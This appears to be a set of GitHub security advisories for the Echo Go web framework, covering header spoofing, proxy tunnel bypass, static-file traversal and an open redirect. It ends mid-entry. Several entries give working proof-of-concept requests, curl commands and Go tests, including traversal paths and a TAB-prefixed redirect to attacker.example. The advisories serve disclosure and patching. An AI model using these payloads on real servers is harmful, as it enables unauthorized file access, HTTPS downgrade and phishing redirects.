github.com/labstack/echo/v5

Impact

In Echo v5, ExtractIPFromRealIPHeader checked whether the address supplied in X-Real-IP belonged to a trusted range instead of checking the address of the direct network peer. An untrusted client could therefore supply a loopback or private address and have it returned by c.RealIP() with the extractor's default trust options.

Applications using this extractor for IP allowlists, IP-based rate limiting, audit logs or forwarding headers could accept a spoofed client identity. Exploitation requires that the attacker can reach Echo directly or that an intervening proxy passes through the attacker's X-Real-IP value. Applications using the default direct IP extractor are unaffected. Echo v4 is unaffected by this v5 regression.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 are affected. Upgrade to v5.4.1.

The patch validates the direct peer before accepting a syntactically valid X-Real-IP value, restoring the v4 trust model. Fix commit.

Workarounds

Use ExtractIPDirect until upgrading, or ensure that only trusted proxies can reach Echo and that they replace client-supplied forwarding headers. Configure trusted proxy ranges narrowly for the deployment.

Credits

Reported and patched by @rm-Umar. @Duodum independently reported the same issue in GHSA-c3r7-8j36-7mx8, which is tracked as a duplicate of this advisory.

Impact

Echo's Proxy middleware could retain a handler, copy goroutines and network connections after a WebSocket client disconnected if the upstream kept its connection open. The raw proxy waited for both copy directions to finish without reliably closing the other connection when one direction ended. Rejected upgrade responses with HTTP keep-alive were one way to trigger this behavior.

Repeated connections can accumulate resources and cause denial of service. The impact depends on the proxy route's accessibility, upstream behavior and configured connection deadlines. This is a medium-severity resource-retention issue; no confidentiality or integrity impact is claimed.

Affected versions and patch

Affected versions are v4.15.0 through v4.16.0 and v5.0.0 through v5.4.0. The regression was introduced by commit e2133320c7, merged in #2852.

Upgrade to v4.16.1 or v5.4.1. The patch uses Go's HTTP reverse proxy, preserves ordinary HTTP handling for rejected upgrades, and closes both sides of a WebSocket tunnel when either direction ends. It also covers an upstream that receives client EOF but deliberately keeps its side open.

Fix commits: v4, v5.

Workarounds

Disable WebSocket proxy routes until upgrading, or apply bounded connection lifetimes and resource limits at the frontend and upstream. Server idle timeouts alone may not cover hijacked WebSocket connections.

Credits

Reported by @irisitymichaelgrundberg.

Impact

Echo's Proxy middleware selected a raw tunnel when the client requested a WebSocket upgrade, before validating whether the configured upstream accepted it. If the upstream returned an ordinary HTTP response and kept the connection alive, subsequent HTTP requests on that connection were forwarded directly to the same upstream without passing through Echo's router or route-specific middleware.

This can bypass authentication or authorization enforced only at Echo's routes. Exploitation requires an accessible proxy route, an upstream that rejects the upgrade without closing the connection, and a target resource on that upstream without independent authorization. The issue does not provide arbitrary-host proxying or bypass the upstream's own authentication.

Affected versions and patch

The raw proxy implementation is present throughout the v4 and v5 release lines up to v4.16.0 and v5.4.0. Runtime reproductions confirmed v4.15.0, v4.16.0, v5.0.0 and v5.4.0; source history also shows the missing upgrade-response validation in v4.0.0.

Upgrade to v4.16.1 or v5.4.1. The patch routes WebSocket upgrades through Go's HTTP reverse proxy and enters a tunnel only after a valid upstream upgrade response. Rejected upgrades remain ordinary HTTP requests.

Fix commits: v4, v5.

Workarounds

Reject WebSocket upgrade requests before they reach affected Echo proxy routes, or enforce authorization independently at every upstream resource. Merely returning a non-101 response from the upstream does not prevent the vulnerable raw tunnel.

Credits

Reported by @Duodum.

Impact

Echo v5's BodyDump middleware captured a bounded prefix, drained the remaining request body while ignoring read errors, and then replaced the body with the captured prefix. With an outer BodyLimit, an unknown-length request such as an HTTP/1.1 chunked request, and a BodyDump capture limit below the BodyLimit threshold, an overflow detected during that drain could be discarded.

The handler could consequently process a truncated request and return success even though the original body exceeded the configured limit. This is a conditional size-policy bypass; no general authentication bypass, production data modification or denial of service is claimed. Known-length requests rejected before BodyDump runs are unaffected by this path.

Affected versions and patch

All v5 releases from v5.0.0 through v5.4.0 contain the affected drain-and-replace logic. Runtime reproduction confirmed v5.4.0; source comparison confirms the same request handling in v5.0.0.

Upgrade to v5.4.1. BodyDump now captures only the configured prefix for logging and reconstructs the handler's reader from that prefix plus the unread original stream. It preserves the original closer and read errors instead of silently draining the rest. Fix commit.

Streaming BodyLimit enforcement still requires the application to consume the request body and handle read errors. The BodyDump capture cap is a logging cap, not an application body limit.

Workarounds

Disable BodyDump on affected routes, or ensure the BodyLimit overflow is detected during the initial capture by setting the capture limit above the enforced body limit. Upgrading is recommended because it also preserves the complete body for handlers.

Credits

Reported by @Duodum. The fix incorporates @jakezwang's request-body preservation work in #3105.

Description

Context.Scheme() unconditionally trusts four client-controlled HTTP headers to determine the request scheme, with no mechanism to configure trusted sources. This allows a remote unauthenticated attacker to bypass HTTPS redirect enforcement and suppress HSTS headers.

The trusted headers (checked in this order of precedence):

1. X-Forwarded-Proto
2. X-Forwarded-Protocol
3. X-Forwarded-Ssl
4. X-Url-Scheme

Threat model

Scenario A — Directly exposed application (vulnerable by default): The Echo application listens on HTTP and is reachable directly by clients (no L7 proxy in front), or an attacker can bypass the proxy and reach the backend directly. In this case, the attacker has full control over all request headers. Sending X-Forwarded-Proto: https defeats the HTTPSRedirect middleware entirely — traffic stays on plaintext HTTP, enabling man-in-the-middle attacks.

This is the primary scenario. The application is vulnerable by default with no misconfiguration required — simply using e.Pre(middleware.HTTPSRedirect()) as documented is sufficient.

Scenario B — Behind L7 proxy with header sanitization (reduced risk): If the application is strictly behind a correctly configured L7 proxy that always overwrites X-Forwarded-Proto and there is no direct access to the backend, the practical risk is lower. However, this relies on perimeter controls external to the framework, not on the framework itself. As Echo's own IP-extraction documentation states: "you must not trust HTTP headers unconditionally."

Root cause

context.go, lines 161–181:

func (c *Context) Scheme() string {
    if c.IsTLS() {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProto); scheme != "" {
        return scheme
    }
    if scheme := c.request.Header.Get(HeaderXForwardedProtocol); scheme != "" {
        return scheme
    }
    if ssl := c.request.Header.Get(HeaderXForwardedSsl); ssl == "on" {
        return "https"
    }
    if scheme := c.request.Header.Get(HeaderXUrlScheme); scheme != "" {
        return scheme
    }
    return "http"
}

Two additional issues with this implementation:

1. No value validation. Scheme() returns any arbitrary string from the header, not just "http" or "https". This breaks the documented contract ("returns the HTTP protocol scheme, http or https") and causes unexpected behavior in middleware that uses the return value to construct URLs (e.g., WWWRedirect builds scheme + "://www." + host + uri).

2. Consumed by security-critical middleware. The return value is used directly by redirect middleware (middleware/redirect.go:136) and secure middleware (middleware/secure.go:125) for security enforcement decisions.

Affected components

| Component | File | Line(s) | Impact | |-----------|------|---------|--------| | Context.Scheme() | context.go | 161–181 | Returns attacker-controlled scheme | | HTTPSRedirect | middleware/redirect.go | 147–151 | HTTPS enforcement bypassed | | HTTPSWWWRedirect | middleware/redirect.go | 154–161 | HTTPS enforcement bypassed | | HTTPSNonWWWRedirect | middleware/redirect.go | 163–170 | HTTPS enforcement bypassed | | WWWRedirect | middleware/redirect.go | 172–177 | URL constructed with arbitrary scheme | | NonWWWRedirect | middleware/redirect.go | 179–184 | URL constructed with arbitrary scheme | | Secure middleware (HSTS) | middleware/secure.go | 125 | HSTS header suppressed |

This is an unsafe-by-default API surface, not just misconfiguration

This behavior is not accidental — it is codified in the project's own test suite. For example, middleware/redirect_test.go (lines 29–34) explicitly asserts that X-Forwarded-Proto: https on an HTTP request results in 200 OK (no redirect):

{
    whenHost:         "labstack.com",
    whenHeader:       map[string][]string{echo.HeaderXForwardedProto: {"https"}},
    expectLocation:   "",
    expectStatusCode: http.StatusOK,
},

Similarly, middleware/secure_test.go (lines 42–53) and context_test.go (lines 1104–1111) assert that scheme is derived from the header.

The problem is not that the framework can use forwarded headers — that is legitimate behind a trusted proxy. The problem is that there is no mechanism to control whether this trust is appropriate, unlike the existing IP header trust model. Scheme() always trusts the headers, making any middleware that depends on it unsafe-by-default.

Inconsistency with existing trust model

Echo already recognizes this class of header-trust vulnerability for IP addresses. The IPExtractor mechanism with TrustOption (TrustLoopback, TrustPrivateNet, TrustLinkLocal, TrustIPRange) was introduced specifically because:

"you must not trust HTTP headers unconditionally. Otherwise, you might give someone a chance of deceiving you. A security risk!" — ip.go, lines 20–21

"If you put no proxy (e.g., directly facing the internet), all you need to (and have to) see is IP address from network layer. Any HTTP header is untrustable because the clients have full control what headers to be set." — ip.go, lines 36–38

No equivalent mechanism exists for scheme detection. Scheme() unconditionally trusts all four forwarded headers with no configuration, opt-in, or documentation warning.

Note on proxies and the "3 additional headers"

A correctly configured nginx proxy_set_header X-Forwarded-Proto $scheme; overwrites X-Forwarded-Proto with the actual incoming scheme. When a proxy does this, X-Forwarded-Proto is trustworthy and the three fallback headers (X-Forwarded-Protocol, X-Forwarded-Ssl, X-Url-Scheme) are never reached because X-Forwarded-Proto takes precedence in Scheme().

The three additional headers become real attack vectors specifically when:

• The proxy does not set X-Forwarded-Proto at all (common in default proxy configs), or
• The application is directly exposed (Scenario A above).

In such cases, an attacker can bypass via any of the four headers. The main vulnerability (HTTPS redirect bypass via X-Forwarded-Proto on a directly exposed app) does not depend on the additional headers.

Impact

HTTPS downgrade / MITM: An attacker who can reach the Echo HTTP endpoint directly can prevent HTTPS redirection, keeping client traffic on plaintext HTTP and enabling man-in-the-middle attacks.

HSTS suppression: Behind a TLS-terminating proxy, spoofing X-Forwarded-Proto: http prevents the Strict-Transport-Security header from being sent. When the response ultimately reaches the client over HTTPS (via the proxy), the missing HSTS header weakens browser-side HTTPS enforcement. Note: browsers ignore HSTS received over plain HTTP, so the practical risk is specifically in the suppression scenario behind a TLS-terminating proxy, not in injecting HSTS on HTTP.

URL construction with arbitrary scheme: WWWRedirect and NonWWWRedirect use c.Scheme() to build redirect URLs (scheme + "://www." + host + uri). An attacker can inject arbitrary strings (e.g., javascript:, data:) as the scheme component of redirect URLs.

Proof of Concept

Tested on Echo v5.0.4 (commit fa5311b, 2026-02-15).

PoC 1: HTTPS Redirect Bypass (Go test)

package echo_test

import (
    "net/http"
    "net/http/httptest"
    "testing"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func TestHTTPSRedirectBypass(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "served over: "+c.Scheme())
    })

    // Normal HTTP → should redirect
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if rec.Code != http.StatusMovedPermanently {
        t.Fatalf("expected 301, got %d", rec.Code)
    }
    t.Logf("Normal HTTP → %d (redirect to %s)", rec.Code, rec.Header().Get("Location"))

    // Attack: all 4 headers bypass the redirect
    headers := map[string]string{
        "X-Forwarded-Proto":    "https",
        "X-Forwarded-Protocol": "https",
        "X-Forwarded-Ssl":      "on",
        "X-Url-Scheme":         "https",
    }
    for name, value := range headers {
        req := httptest.NewRequest(http.MethodGet, "/", nil)
        req.Header.Set(name, value)
        rec := httptest.NewRecorder()
        e.ServeHTTP(rec, req)
        if rec.Code == http.StatusOK {
            t.Errorf("BYPASS via %s: %s → %d (no redirect!)", name, value, rec.Code)
        }
    }
}

PoC 2: curl examples (easiest to reproduce)

Start a minimal Echo server:

package main

import (
    "net/http"
    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.HTTPSRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "Hello on "+c.Scheme())
    })
    e.Start(":8080")
}

Then:

# Normal HTTP → 301 redirect (expected)
$ curl -I http://localhost:8080/
HTTP/1.1 301 Moved Permanently
Location: https://localhost:8080/

# Attack: bypass via X-Forwarded-Proto
$ curl -H "X-Forwarded-Proto: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Protocol
$ curl -H "X-Forwarded-Protocol: https" http://localhost:8080/
Hello on https

# Attack: bypass via X-Forwarded-Ssl
$ curl -H "X-Forwarded-Ssl: on" http://localhost:8080/
Hello on https

# Attack: bypass via X-Url-Scheme
$ curl -H "X-Url-Scheme: https" http://localhost:8080/
Hello on https

PoC 3: Arbitrary scheme in redirect URL (WWWRedirect)

func TestArbitrarySchemeInRedirect(t *testing.T) {
    e := echo.New()
    e.Pre(middleware.WWWRedirect())
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Host = "example.com"
    req.Header.Set("X-Forwarded-Proto", "javascript")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)

    // Redirect Location uses the spoofed scheme
    loc := rec.Header().Get("Location")
    // loc == "javascript://www.example.com/" — violates http/https contract
    t.Logf("Status: %d, Location: %s", rec.Code, loc)
}

PoC 4: HSTS Suppression

func TestHSTSSuppression(t *testing.T) {
    e := echo.New()
    e.Use(middleware.SecureWithConfig(middleware.SecureConfig{HSTSMaxAge: 31536000}))
    e.GET("/", func(c *echo.Context) error {
        return c.String(http.StatusOK, "ok")
    })

    // Legitimate: proxied HTTPS should have HSTS
    req := httptest.NewRequest(http.MethodGet, "/", nil)
    req.Header.Set("X-Forwarded-Proto", "https")
    rec := httptest.NewRecorder()
    e.ServeHTTP(rec, req)
    if h := rec.Header().Get("Strict-Transport-Security"); h == "" {
        t.Fatal("HSTS missing when it should be present")
    }

    // Attack: suppress HSTS by spoofing "http"
    // In production: app behind TLS-terminating proxy, proxy delivers response
    // to client over HTTPS, but HSTS header is absent due to spoofed header
    req2 := httptest.NewRequest(http.MethodGet, "/", nil)
    req2.Header.Set("X-Forwarded-Proto", "http")
    rec2 := httptest.NewRecorder()
    e.ServeHTTP(rec2, req2)
    if h := rec2.Header().Get("Strict-Transport-Security"); h == "" {
        t.Error("VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http")
    }
}

Test output (all attacks succeed)

=== RUN   TestHTTPSRedirectBypass
    Normal HTTP → 301 (redirect to https://example.com/)
    BYPASS via X-Forwarded-Proto: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Protocol: https → 200 (no redirect!)
    BYPASS via X-Forwarded-Ssl: on → 200 (no redirect!)
    BYPASS via X-Url-Scheme: https → 200 (no redirect!)

=== RUN   TestArbitrarySchemeInRedirect
    Status: 301, Location: javascript://www.example.com/

=== RUN   TestHSTSSuppression
    VULNERABLE: HSTS suppressed via X-Forwarded-Proto: http

Precedent CVEs

• CVE-2018-1193 — Cloud Foundry GoRouter: unverified X-Forwarded-Proto header trusted for scheme, enabling HTTPS enforcement bypass. Fixed by adding sanitize_forwarded_proto option.
• CVE-2025-41235 — Spring Cloud Gateway: trusting forwarded headers without explicit proxy configuration, enabling HTTPS redirect bypass. Fixed by requiring trusted proxy configuration.

Suggested fix

Option A: SchemeExtractor (recommended, backward-compatible with opt-in)

Add a SchemeExtractor mechanism analogous to the existing IPExtractor, where the extractor decides whether to trust forwarded headers based on RemoteAddr or trusted proxy ranges:

type SchemeExtractor func(req *http.Request) string

// ExtractSchemeDirect ignores all forwarded headers (secure default)
func ExtractSchemeDirect() SchemeExtractor { ... }

// ExtractSchemeFromXFFHeader trusts X-Forwarded-Proto from trusted sources
func ExtractSchemeFromXFFHeader(options ...TrustOption) SchemeExtractor { ... }

Usage:

// Secure: directly exposed, ignore headers
e.SchemeExtractor = echo.ExtractSchemeDirect()

// Behind trusted proxy
e.SchemeExtractor = echo.ExtractSchemeFromXFFHeader(
    echo.TrustIPRange(proxySubnet),
)

The default should be secure. For backward compatibility, a migration period with deprecation warnings for the legacy behavior may be appropriate.

Option B: Minimal hardening (does NOT fix the bypass, but fixes the contract violation)

Scheme() should validate that the returned value is "http" or "https", rejecting arbitrary strings. This prevents the "arbitrary scheme in redirect URL" issue but does not address the core HTTPS redirect bypass (because "https" is a valid value that the attacker injects).

Both options should be applied together.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. Context.Scheme() now uses the X-Forwarded-Proto, X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme headers only when the request comes directly from a loopback, link-local or private network address or a unix socket. When X-Forwarded-Proto is present, only its last value is used. The new Echo#SchemeExtractor selects the strategy (ExtractSchemeFromHeaders, ExtractSchemeDirect, LegacySchemeExtractor). The Secure middleware sets HSTS from Context.Scheme(), and the Proxy middleware always sets X-Forwarded-Proto and removes the other scheme headers.

Workarounds

If a proxy or load balancer connects to your application from a public address, trust its address ranges after upgrading, for example e.SchemeExtractor = echo.ExtractSchemeFromHeaders(echo.TrustIPRange(proxyRange)); otherwise HTTPSRedirect redirects in a loop. If you cannot upgrade, make sure every request passes through a proxy that overwrites X-Forwarded-Proto and removes X-Forwarded-Protocol, X-Forwarded-Ssl and X-Url-Scheme, and that the application cannot be reached directly.

Summary

Echo v5.2.0 contains a bypass of the fix for GHSA-vfp3-v2gw-7wfq. The fix rejects encoded path separators such as %2F and %5C before static file path unescaping, but two traversal forms still bypass route-level middleware protections for static files.

The primary bypass uses encoded dot-dot segments. A request such as /public/%2E%2E/admin/secret.txt passes the encoded-separator guard, is unescaped to public/../admin/secret.txt, then path.Clean resolves it to admin/secret.txt. If /admin/* is protected by middleware but the static filesystem is mounted at /, the protected file is returned through the public static route.

A second bypass exists when UseEscapedPathForMatching=true. In that mode, the router normalizes encoded separators before the static handler checks the wildcard. The handler receives a decoded wildcard with no % characters, so the encoded-separator guard does not run on the original encoded path.

Impact

An unauthenticated attacker can read files that an application intended to protect with route-level middleware, when those files are also reachable through a static filesystem mount after path normalization.

The high-severity variant works with the default router configuration and requires only encoded dot-dot path segments. The direct protected route returns 403, while the public static route returns the protected file content.

The UseEscapedPathForMatching=true variant is lower severity because it requires a non-default router configuration.

Affected versions

Tested vulnerable:

• github.com/labstack/echo/v5 v5.2.0
• Current master at 5786024ea4d85c01784796e8aa7aac53e007b39b

No patched version is currently known.

Policy and version checks

GitHub Private Vulnerability Reporting is enabled for labstack/echo. The repository has a root SECURITY.md and accepts security reports through GitHub Security Advisories.

The vulnerable code was revalidated on both current master and the latest release tag:

• Current master: 5786024ea4d85c01784796e8aa7aac53e007b39b
• Latest release: v5.2.0, published June 14 2026
• Package: github.com/labstack/echo/v5

The same focused Go tests pass on the checked out v5.2.0 / master commit, proving the bypass remains present in the latest released version and latest main branch at the time of reporting.

Reproduction

The following application shape reproduces the high-severity bypass:

e := echo.New()

g := e.Group("/admin", func(next echo.HandlerFunc) echo.HandlerFunc {
    return func(c echo.Context) error {
        return echo.NewHTTPError(http.StatusForbidden)
    }
})
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Control request:

GET /admin/secret.txt

Observed result:

403 Forbidden

Bypass request:

GET /public/%2E%2E/admin/secret.txt

Observed result:

200 OK
TOP-SECRET

For the non-default router variant:

e := echo.New()
e.router = echo.NewRouter(echo.RouterConfig{
    UseEscapedPathForMatching: true,
})

g := e.Group("/admin", authMiddlewareReturning403)
g.GET("/*", handler)

e.StaticFS("/", fsysWithAdminSecret)

Bypass request:

GET /public%2F..%2Fadmin%2Fsecret.txt

Observed result:

200 OK
TOP-SECRET

Proof of concept evidence

I added focused tests against the current Echo codebase. The tests exercise both StaticDirectoryHandler and the static middleware path.

Command:

go test -run TestHostile -v ./...

Observed result:

=== RUN   TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticDirectoryHandler_EncodedSeparatorsBlocked (0.00s)
=== RUN   TestHostile_StaticDirectoryHandler_EncodedDotDotBypass
--- PASS: TestHostile_StaticDirectoryHandler_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_UseEscapedPathForMatching_Bypass
--- PASS: TestHostile_UseEscapedPathForMatching_Bypass (0.00s)
PASS
ok  github.com/labstack/echo/v5  0.013s
=== RUN   TestHostile_StaticMiddleware_EncodedSeparatorsBlocked
--- PASS: TestHostile_StaticMiddleware_EncodedSeparatorsBlocked (0.01s)
=== RUN   TestHostile_StaticMiddleware_EncodedDotDotBypass
--- PASS: TestHostile_StaticMiddleware_EncodedDotDotBypass (0.00s)
=== RUN   TestHostile_StaticMiddleware_DisablePathUnescaping
--- PASS: TestHostile_StaticMiddleware_DisablePathUnescaping (0.00s)
PASS
ok  github.com/labstack/echo/v5/middleware  0.012s

The control tests also confirm that the new fix blocks encoded separators such as %2F, %5C, double-encoded slash values, null bytes, and overlong slash encodings.

Root cause

The fix for GHSA-vfp3 uses a denylist-style guard that checks for encoded path separators before unescaping the static wildcard. This blocks %2F and %5C, but does not block encoded traversal segments such as %2E%2E.

The vulnerable flow is:

1. The static route wildcard accepts public/%2E%2E/admin/secret.txt.
2. The encoded-separator guard sees no %2F or %5C and allows the request.
3. The handler unescapes the wildcard to public/../admin/secret.txt.
4. path.Clean resolves it to admin/secret.txt.
5. The file is served through the public static route instead of the protected /admin/* route.

For UseEscapedPathForMatching=true, the router decodes the path before the static handler sees the wildcard, so the handler cannot detect that encoded separators were used in the original request.

Remediation

Do not rely only on detecting encoded separators. Reject encoded traversal sequences before unescaping, and reject normalized wildcard values that cross route or static mount boundaries.

Possible fixes:

1. Extend the pre-unescape guard to reject encoded dot segments such as %2E and %2E%2E in path components.
2. After unescaping, reject any wildcard where cleaning changes the path in a way that removes . or .. components.
3. For UseEscapedPathForMatching=true, run the static-file guard against the original escaped request path before router normalization, or preserve metadata that the matched wildcard came from encoded separators.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The Static middleware and StaticDirectoryHandler (used by Echo.Static, Echo.StaticFS, Group.Static and Group.StaticFS) no longer serve paths with a ., .. or empty segment, including after path unescaping. The encoded variant of the first vector (/public/%2E%2E/admin/secret.txt) was already fixed in v5.2.1 and v4.15.4 (GHSA-vfp3-v2gw-7wfq).

Workarounds

Put a reverse proxy in front of the application that normalizes request paths (removes dot segments and merges slashes), or keep protected files outside the served directory.

Summary

Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.

Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.

Technical background

The guard

middleware/slash.go:144 (duplicated verbatim at echo.go:958):

func sanitizeURI(uri string) string {
	// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
	// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
	if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
		uri = "/" + strings.TrimLeft(uri, `/\`)
	}
	return uri
}

The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.

Data flow

1. RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:

path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
    path = path[:l]
    uri := path
    if qs != "" {
        uri += "?" + qs
    }
    if config.RedirectCode != 0 {
        return c.Redirect(config.RedirectCode, sanitizeURI(uri))   // line 132
    }

2. AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.

3. A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.

4. Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.

Conditional analysis

• Guard: uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.
• Bypass: place a single control byte before the separator pair. The separator moves to index 1 and the guard's second condition (uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.
• Browser-side trust boundary: the client's URL parser. It is adversary favourable: control characters are stripped and backslashes are normalized before scheme and authority parsing. The attacker does not need any server-side weakness beyond producing the malformed Location.

Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.

Proof of concept

Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow ECHO-2026-002/README.md for the full walkthrough. The archive contains a self-contained Go module (go.mod, go.sum, main.go, README.md).

ECHO-2026-002_poc.zip

Quick start:

unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run .          # in-process check
GOFLAGS=-mod=mod go run . -serve   # real listener on 127.0.0.1:18002

Environment used for verification

• OS: Linux 6.18.33.2-microsoft-standard-WSL2, x86_64
• Go: go1.27.0 linux/amd64
• Target: Echo v5.3.1 (module github.com/labstack/echo/v5)
• Browser: headless Chromium drove the end-to-end confirmation

The vulnerable configuration

package main

import (
    "net/http"

    "github.com/labstack/echo/v5"
    "github.com/labstack/echo/v5/middleware"
)

func main() {
    e := echo.New()
    e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
        RedirectCode: http.StatusMovedPermanently,
    }))
    e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
    _ = e.Start("127.0.0.1:18002")
}

Reproduction

In-process check. The program requests five path shapes and applies the browser URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a leading // starts an authority):

GOFLAGS=-mod=mod go run .

GET                          code   Location (control chars shown) browser navigates to
/normal/path/                301    /normal/path           (victim origin)
                             control: ordinary path, sanitized correctly
/%09/attacker.example/x/     301    /^I/attacker.example/x attacker.example
                             exploit: TAB then slash
/%09%5Cattacker.example/x/   301    /^I\attacker.example/x attacker.example
                             exploit: TAB then backslash
/..%09/attacker.example/     301    /..^I/attacker.example (victim origin)
                             NOT exploitable: TAB is not at index 1
/%09//attacker.example/      301    /^I//attacker.example  (victim origin)
                             NOT exploitable: three slashes is an empty authority

RESULT: reproducible. ...

^I is a literal TAB byte. The last two rows are deliberate negatives, included so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.

Over the wire, with the -serve variant running on 127.0.0.1:18002:

1. Show the malformed Location on the wire. No backslash is needed for this variant:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x

cat -A renders the tab as ^I, confirming it is a literal byte in the header.

2. Show that LF does NOT work, which proves the mechanism is the guard's fixed byte offsets rather than generic header injection:

curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x     (net/http rewrote LF to a space)

3. Confirm a browser leaves the origin. Start any HTTP server on port 18099, then open this URL in a browser:

http://127.0.0.1:18002/%09/127.0.0.1:18099/x/

Observed in headless Chromium:

finalUrl: http://127.0.0.1:18099/x

The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.

Exit status 0 means the finding reproduced; 1 means an expectation was violated.

Impact

An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:

• Phishing: the trusted domain name appears in the link and in the initial navigation, which defeats the usual "check the domain" advice.
• OAuth and SSO token theft: any flow that permits a redirect target on the trusted origin and relies on that origin's redirects being local can be chained to leak authorization codes or access tokens.
• Referrer and cache poisoning of downstream logic that treats the victim origin's redirects as trustworthy.

The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.

Recommended fixes

Normalize before deciding, instead of probing two fixed offsets.

func sanitizeURI(uri string) string {
	// Strip control characters that browsers remove before parsing, so they cannot
	// be used to shift a separator out of the checked positions.
	uri = strings.Map(func(r rune) rune {
		if r < 0x20 || r == 0x7f {
			return -1
		}
		return r
	}, uri)
	// Collapse any leading separator run (both slash kinds) to a single slash.
	if strings.ContainsAny(uri[:min(len(uri), 1)], `/\`) {
		trimmed := strings.TrimLeft(uri, `/\`)
		if len(trimmed) != len(uri) {
			return "/" + trimmed
		}
	}
	return uri
}

Additional hardening:

1. Reject the request with 400 when the decoded path contains control characters, rather than attempting to sanitize. A path containing a raw TAB or NUL is malformed under RFC 3986 and has no legitimate use.
2. Apply the same normalization to the Location value in Context.Redirect so every caller benefits, instead of relying on each call site to call sanitizeURI.
3. Add a regression test for each variant (%09/, %09%5C, %0A/) against both trailing-slash middlewares. There is currently no test that asserts sanitizeURI behavior at all.

Patches

Fixed in github.com/labstack/echo/v5 v5.4.0 and github.com/labstack/echo/v4 v4.16.0. The trailing slash middlewares and the static directory redirect percent-encode control characters in the redirect path before collapsing leading slashes, so a browser can no longer be sent to another host.

Workarounds

Use the trailing slash middlewares without RedirectCode (the default rewrites the path internally instead of redirecting), or reject request paths that contain control characters before these middlewares.

Summary

When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding mismatch fixed for StaticFS/StaticDirectoryHandler in CVE-2026-55677 / GHSA-vfp3-v2gw-7wfq, but the fix did not cover the middleware.Static path. In addition, the StaticConfig.EnablePathUnescaping docstring states the default configuration prevents exactly this bypass, which is inaccurate for the global-mount case.

This is not path traversal: no file outside the static root is accessed. The served file lives inside the static root; the issue is that access-control expectations set by a route guard are inconsistent between the literal and %2F-encoded forms of the same path.

Details

Root cause — the router and the static handler disagree on how to interpret %2F:

• The router matches routes on the raw, still-encoded path, so GET /admin%2Fsecret.txt does not match a /admin/... route or group; any middleware attached to that route/group is therefore skipped.
• middleware.Static selects its path source in middleware/static.go (~L219): with a global e.Use mount there is no wildcard route, so it uses c.Request().URL.Path, which net/http has already decoded (%2F → /). It then path.Cleans (~L235) and Opens (~L259) admin/secret.txt, serving the file.

Net effect: for the literal path the guard runs; for the %2F-encoded path the guard is skipped but the same file is served.

Relevant code:

